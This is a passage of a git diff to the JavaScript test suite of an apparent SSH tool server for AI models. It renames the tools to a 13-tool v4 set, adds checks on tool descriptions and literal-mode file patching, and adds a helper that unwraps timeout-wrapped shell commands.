+174,16 @@ await test('individual tool override can disable a tool inside an enabled group' m.config = { version: '1.0', mode: 'custom', groups: { core: { enabled: true } }, - tools: { ssh_execute: false }, + tools: { ssh_run: false }, }; - assert.strictEqual(m.isToolEnabled('ssh_execute'), false); - assert.strictEqual(m.isToolEnabled('ssh_list_servers'), true); + assert.strictEqual(m.isToolEnabled('ssh_run'), false); + assert.strictEqual(m.isToolEnabled('ssh_file'), true); }); await test('isToolEnabled defaults to true before load (first-run safety)', () => { const m = new ToolConfigManager(); // Nothing loaded; this.config is null. - assert.strictEqual(m.isToolEnabled('ssh_execute'), true); + assert.strictEqual(m.isToolEnabled('ssh_run'), true); }); // --- group / tool mutators ----------------------------------------------- @@ -168,7 +194,7 @@ await test('disableGroup("core") is refused -- core is load-bearing', async () = const r = await m.disableGroup('core'); assert.strictEqual(r, false); // core stays enabled (disableGroup should not have mutated anything) - assert.strictEqual(m.isToolEnabled('ssh_execute'), true); + assert.strictEqual(m.isToolEnabled('ssh_run'), true); }); await test('enableGroup / disableGroup on unknown group returns false', async () => { diff --git a/tests/test-tool-descriptions.js b/tests/test-tool-descriptions.js new file mode 100644 index 0000000..852aa95 --- /dev/null +++ b/tests/test-tool-descriptions.js @@ -0,0 +1,92 @@ +#!/usr/bin/env node +/** + * Test suite for src/tool-descriptions.js. + * Run: node tests/test-tool-descriptions.js + */ +import assert from 'assert'; +import { readFileSync } from 'fs'; +import { V4_TOOL_DESCRIPTIONS } from '../src/tool-descriptions.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing tool-descriptions\n'); + +const V4_TOOLS = [ + 'ssh_run', 'ssh_file', 'ssh_find', 'ssh_logs', 'ssh_service', + 'ssh_health', 'ssh_db', 'ssh_backup', 'ssh_session', 'ssh_net', + 'ssh_docker', 'ssh_fleet', 'ssh_plan', +]; + +test('map has exactly the 13 v4 tool keys', () => { + assert.deepStrictEqual(Object.keys(V4_TOOL_DESCRIPTIONS).sort(), [...V4_TOOLS].sort()); +}); + +test('map is frozen', () => { + assert(Object.isFrozen(V4_TOOL_DESCRIPTIONS)); +}); + +test('every description is a non-trivial string', () => { + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t]; + assert.strictEqual(typeof d, 'string', `${t} description is a string`); + assert(d.length >= 60, `${t} description has substance (>=60 chars)`); + } +}); + +test('every description names the raw bash it replaces', () => { + // The selling point: each description points at the `ssh ...` / scp / rsync + // command it supersedes. Backtick-quoted so the model sees a concrete command. + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t]; + assert(/`[^`]*(?:ssh |scp|rsync)[^`]*`/.test(d), + `${t} description names a raw bash command in backticks`); + } +}); + +test('every description carries a when-to-use cue', () => { + // "use instead of" / "use for" / "reach for" -- an explicit selection cue. + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t].toLowerCase(); + assert(/use instead of|use for|use to|reach for/.test(d), + `${t} description has a when-to-use cue`); + } +}); + +test('descriptions sell the win -- capped/pooled/structured output', () => { + // At least one concrete benefit phrase per description: this is why the tool + // beats raw ssh (bounded output, pooled connection, structured result). + for (const t of V4_TOOLS) { + const d = V4_TOOL_DESCRIPTIONS[t].toLowerCase(); + assert(/cap|bound|truncat|pool|structur|flood|filter|exit code|escape hatch/.test(d), + `${t} description states a concrete advantage over raw ssh`); + } +}); + +test('src/index.js imports the description map', () => { + // Guards against the map drifting out of use if a future edit re-inlines + // description strings in the v4 registration block. + const idx = readFileSync(new URL('../src/index.js', import.meta.url), 'utf8'); + assert(/V4_TOOL_DESCRIPTIONS/.test(idx), 'index.js references V4_TOOL_DESCRIPTIONS'); + assert(/from\s+['"]\.\/tool-descriptions\.js['"]/.test(idx), + 'index.js imports from ./tool-descriptions.js'); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-tool-registry.js b/tests/test-tool-registry.js index 62c4361..2ddfb30 100644 --- a/tests/test-tool-registry.js +++ b/tests/test-tool-registry.js @@ -52,73 +52,53 @@ function assertTrue(condition, message) { console.log('\n' + YELLOW + 'Running Tool Registry Tests...' + NC + '\n'); -// Test 1: All tools are accounted for -test('All 51 tools are defined in groups', () => { - const allTools = getAllTools(); - assertEqual(allTools.length, 51, 'Should have exactly 51 tools'); +test('All 13 v4 tools are defined in groups', () => { + assertEqual(getAllTools().length, 13, 'Should have exactly 13 tools'); }); -// Test 2: No duplicate tools test('No duplicate tools across groups', () => { - const allTools = getAllTools(); - const uniqueTools = new Set(allTools); - assertEqual(uniqueTools.size, 51, 'All 51 tools should be unique'); + const all = getAllTools(); + assertEqual(new Set(all).size, 13, 'All 13 tools should be unique'); }); -// Test 3: Tool group counts are correct test('Tool group counts match TOOL_GROUP_COUNTS', () => { for (const [groupName, tools] of Object.entries(TOOL_GROUPS)) { - assertEqual( - tools.length, - TOOL_GROUP_COUNTS[groupName], - `Group ${groupName} count mismatch` - ); + assertEqual(tools.length, TOOL_GROUP_COUNTS[groupName], `Group ${groupName} count mismatch`); } }); -// Test 4: All groups have descriptions test('All groups have descriptions', () => { for (const groupName of Object.keys(TOOL_GROUPS)) { - assertTrue( - groupName in TOOL_GROUP_DESCRIPTIONS, - `Group ${groupName} missing description` - ); - assertTrue( - TOOL_GROUP_DESCRIPTIONS[groupName].length > 0, - `Group ${groupName} has empty description` - ); + assertTrue(groupName in TOOL_GROUP_DESCRIPTIONS, `Group ${groupName} missing description`); + assertTrue(TOOL_GROUP_DESCRIPTIONS[groupName].length > 0, `Group ${groupName} has empty description`); } }); -// Test 5: findToolGroup works correctly test('findToolGroup returns correct group', () => { - assertEqual(findToolGroup('ssh_execute'), 'core', 'ssh_execute should be in core group'); - assertEqual(findToolGroup('ssh_session_start'), 'sessions', 'ssh_session_start should be in sessions group'); - assertEqual(findToolGroup('ssh_backup_create'), 'backup', 'ssh_backup_create should be in backup group'); + assertEqual(findToolGroup('ssh_run'), 'core', 'ssh_run should be in core group'); + assertEqual(findToolGroup('ssh_health'), 'ops', 'ssh_health should be in ops group'); + assertEqual(findToolGroup('ssh_plan'), 'advanced', 'ssh_plan should be in advanced group'); assertEqual(findToolGroup('nonexistent_tool'), null, 'Should return null for unknown tool'); }); -// Test 6: getGroupTools returns correct tools test('getGroupTools returns correct tools', () => { - const coreTools = getGroupTools('core'); - assertEqual(coreTools.length, 5, 'Core group should have 5 tools'); - assertTrue(coreTools.includes('ssh_execute'), 'Core should include ssh_execute'); - - const advancedTools = getGroupTools('advanced'); - assertEqual(advancedTools.length, 14, 'Advanced group should have 14 tools'); + assertEqual(getGroupTools('core').length, 4, 'core group should have 4 tools'); + assertTrue(getGroupTools('core').includes('ssh_run'), 'core should include ssh_run'); + assertEqual(getGroupTools('ops').length, 5, 'ops group should have 5 tools'); }); -// Test 7: Core tools are correct -test('Core group contains expected tools', () => { - const coreTools = getGroupTools('core'); - const expectedCore = ['ssh_list_servers', 'ssh_execute', 'ssh_upload', 'ssh_download', 'ssh_sync']; - - for (const tool of expectedCore) { - assertTrue(coreTools.includes(tool), `Core should include ${tool}`); +test('core group contains expected tools', () => { + const core = getGroupTools('core'); + for (const tool of ['ssh_run', 'ssh_file', 'ssh_logs']) { + assertTrue(core.includes(tool), `core should include ${tool}`); } }); -// Test 8: Verify integrity check +test('ssh_find is registered in the core group', () => { + assertEqual(findToolGroup('ssh_find'), 'core', 'ssh_find should be in core group'); + assertTrue(getGroupTools('core').includes('ssh_find'), 'core should include ssh_find'); +}); + test('verifyIntegrity returns valid', () => { const integrity = verifyIntegrity(); assertTrue(integrity.valid, 'Integrity check should pass'); @@ -126,59 +106,41 @@ test('verifyIntegrity returns valid', () => { assertEqual(integrity.issues.length, 0, 'Should have no issues'); }); -// Test 9: getToolStats returns correct stats test('getToolStats returns correct statistics', () => { const stats = getToolStats(); - assertEqual(stats.totalGroups, 7, 'Should have 7 groups'); - assertEqual(stats.totalTools, 51, 'Should have 51 total tools'); - assertEqual(stats.groups.length, 7, 'Should have 7 group entries'); + assertEqual(stats.totalGroups, 3, 'Should have 3 groups'); + assertEqual(stats.totalTools, 13, 'Should have 13 total tools'); + assertEqual(stats.groups.length, 3, 'Should have 3 group entries'); }); -// Test 10: All tool names follow naming convention test('All tools follow ssh_* naming convention', () => { - const allTools = getAllTools(); - for (const tool of allTools) { - assertTrue( - tool.startsWith('ssh_'), - `Tool ${tool} should start with 'ssh_'` - ); + for (const tool of getAllTools()) { + assertTrue(tool.startsWith('ssh_'), `Tool ${tool} should start with 'ssh_'`); } }); -// Test 11: validateToolRegistry works test('validateToolRegistry identifies correct tools', () => { - const allTools = getAllTools(); - const validation = validateToolRegistry(allTools); - + const validation = validateToolRegistry(getAllTools()); assertTrue(validation.valid, 'Validation should pass for all tools'); assertEqual(validation.missing.length, 0, 'Should have no missing tools'); assertEqual(validation.unexpected.length, 0, 'Should have no unexpected tools'); - assertEqual(validation.total, 51, 'Should expect 51 tools'); - assertEqual(validation.registered, 51, 'Should register 51 tools'); + assertEqual(validation.total, 13, 'Should expect 13 tools'); + assertEqual(validation.registered, 13, 'Should register 13 tools'); }); -// Test 12: validateToolRegistry catches missing tools test('validateToolRegistry detects missing tools', () => { - const partialTools = ['ssh_execute', 'ssh_upload']; - const validation = validateToolRegistry(partialTools); - + const validation = validateToolRegistry(['ssh_run', 'ssh_file']); assertTrue(!validation.valid, 'Validation should fail for partial list'); assertEqual(validation.registered, 2, 'Should show 2 registered'); assertTrue(validation.missing.length > 0, 'Should have missing tools'); }); -// Test 13: Specific group sizes test('Group sizes match specifications', () => { - assertEqual(TOOL_GROUPS.core.length, 5, 'Core should have 5 tools'); - assertEqual(TOOL_GROUPS.sessions.length, 6, 'Sessions should have 6 tools'); - assertEqual(TOOL_GROUPS.monitoring.length, 6, 'Monitoring should have 6 tools'); - assertEqual(TOOL_GROUPS.backup.length, 4, 'Backup should have 4 tools'); - assertEqual(TOOL_GROUPS.database.length, 4, 'Database should have 4 tools'); - assertEqual(TOOL_GROUPS.advanced.length, 14, 'Advanced should have 14 tools'); - assertEqual(TOOL_GROUPS.gamechanger.length, 12, 'Gamechanger should have 12 tools'); + assertEqual(TOOL_GROUPS.core.length, 4, 'core should have 4 tools'); + assertEqual(TOOL_GROUPS.ops.length, 5, 'ops should have 5 tools'); + assertEqual(TOOL_GROUPS.advanced.length, 4, 'advanced should have 4 tools'); }); -// Summary console.log('\n' + '='.repeat(60)); console.log(`${GREEN}Passed: ${passedTests}${NC}`); console.log(`${RED}Failed: ${failedTests}${NC}`); diff --git a/tests/test-transfer-tools.js b/tests/test-transfer-tools.js index ad29870..dff4eee 100644 --- a/tests/test-transfer-tools.js +++ b/tests/test-transfer-tools.js @@ -27,6 +27,7 @@ import { handleSshEdit, buildRsyncArgv, } from '../src/tools/transfer-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -74,7 +75,9 @@ class FakeClient { this._sftp = sftp || new FakeSftp(); this.sftpCalls = 0; } - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper. + const cmd = unwrapTimeout(rawCmd); this.commands.push(cmd); const s = new FakeStream(); this.streams.push(s); @@ -796,6 +799,85 @@ await test('ssh_edit: patch-mode regex rules applied and base64-encoded new cont assert.strictEqual(decoded, 'version: 2.0\nname: beta\n'); }); +await test('ssh_edit: literal:true patch matches regex metachars verbatim, replaces exact substring', async () => { + // old_text-style literal: 'a.b(c)' must hit the literal "a.b(c)", NOT the + // regex it would otherwise compile to (which also matches "axbZcY"). + const original = 'keep axbZcY\nhit a.b(c) here\n'; + const client = new FakeClient({ + script: (cmd) => { + if (cmd.startsWith('cat ')) return { stdout: original, code: 0 }; + return { stdout: '', code: 0 }; + }, + }); + const r = await handleSshEdit({ + getConnection: async () => client, + args: { + server: 's', path: '/etc/app.txt', + patch: [{ find: 'a.b(c)', replace: 'X', literal: true }], + syntax_check: 'none', + format: 'json', + }, + }); + const parsed = JSON.parse(r.content[0].text); + assert.strictEqual(parsed.success, true, parsed.error); + const writeIdx = client.commands.findIndex(c => c.includes('base64 -d >')); + const decoded = Buffer.from(client.streams[writeIdx].writes[0], 'base64').toString('utf8'); + // "axbZcY" untouched (regex would have eaten it); only the literal span swapped. + assert.strictEqual(decoded, 'keep axbZcY\nhit X here\n'); +}); + +await test('ssh_edit: literal:true with an unbalanced bracket in find does NOT throw', async () => { + // '[unclosed' is an invalid regex -- under literal mode it must be escaped, + // so a literal-looking edit never dies with "invalid patch regex". + const original = 'cfg[unclosed value\n'; + const client = new FakeClient({ + script: (cmd) => { + if (cmd.startsWith('cat ')) return { stdout: original, code: 0 }; + return { stdout: '', code: 0 }; + }, + }); + const r = await handleSshEdit({ + getConnection: async () => client, + args: { + server: 's', path: '/etc/app.txt', + patch: [{ find: '[unclosed', replace: 'OK', literal: true }], + syntax_check: 'none', + format: 'json', + }, + }); + const parsed = JSON.parse(r.content[0].text); + assert.strictEqual(parsed.success, true, parsed.error); + const writeIdx = client.commands.findIndex(c => c.includes('base64 -d >')); + const decoded = Buffer.from(client.streams[writeIdx].writes[0], 'base64').toString('utf8'); + assert.strictEqual(decoded, 'cfgOK value\n'); +}); + +await test('ssh_edit: literal:true keeps $-sequences in the replacement literal', async () => { + // Under literal mode "$1" in replace must stay "$1", not be read as a + // capture-group backreference. + const original = 'price = OLD\n'; + const client = new FakeClient({ + script: (cmd) => { + if (cmd.startsWith('cat ')) return { stdout: original, code: 0 }; + return { stdout: '', code: 0 }; + }, + }); + const r = await handleSshEdit({ + getConnection: async () => client, + args: { + server: 's', path: '/etc/app.txt', + patch: [{ find: 'OLD', replace: '$1.99', literal: true }], + syntax_check: 'none', + format: 'json', + }, + }); + const parsed = JSON.parse(r.content[0].text); + assert.strictEqual(parsed.success, true, parsed.error); + const writeIdx = client.commands.findIndex(c => c.includes('base64 -d >')); + const decoded = Buffer.from(client.streams[writeIdx].writes[0], 'base64').toString('utf8'); + assert.strictEqual(decoded, 'price = $1.99\n'); +}); + await test('ssh_edit: missing new_content AND patch -> structured failure', async () => { const r = await handleSshEdit({ getConnection: async () => ({}), diff --git a/tests/util-timeout-unwrap.js b/tests/util-timeout-unwrap.js new file mode 100644 index 0000000..a824007 --- /dev/null +++ b/tests/util-timeout-unwrap.js @@ -0,0 +1,18 @@ +/** + * Shared test helper: recover the real inner command from a + * `timeout -k sh -c ''` wrapper. + * + * streamExecCommand wraps non-raw timed commands via wrapWithTimeout, which + * runs the command through `sh -c` (timeout execvp's its arg -- no shell -- + * so cd/&&/pipes/env-prefixes/set-e must be handed to a real shell). Tool + * test fakes route on command text; they must see the UNWRAPPED command, + * not the wrapper. Strips the prefix, then shell-unquotes the single sh -c + * argument (shQuote wraps in '...' and escapes embedded ' as '\''). + */ +export function unwrapTimeout(cmd) { + const m = /^timeout -k \d+ \d+ sh -c (.+)$/s.exec(cmd); + if (!m) return cmd; + const arg = m[1]; + if (arg[0] !== '\'' || arg[arg.length - 1] !== '\'') return arg; + return arg.slice(1, -1).replace(/'\\''/g, '\''); +}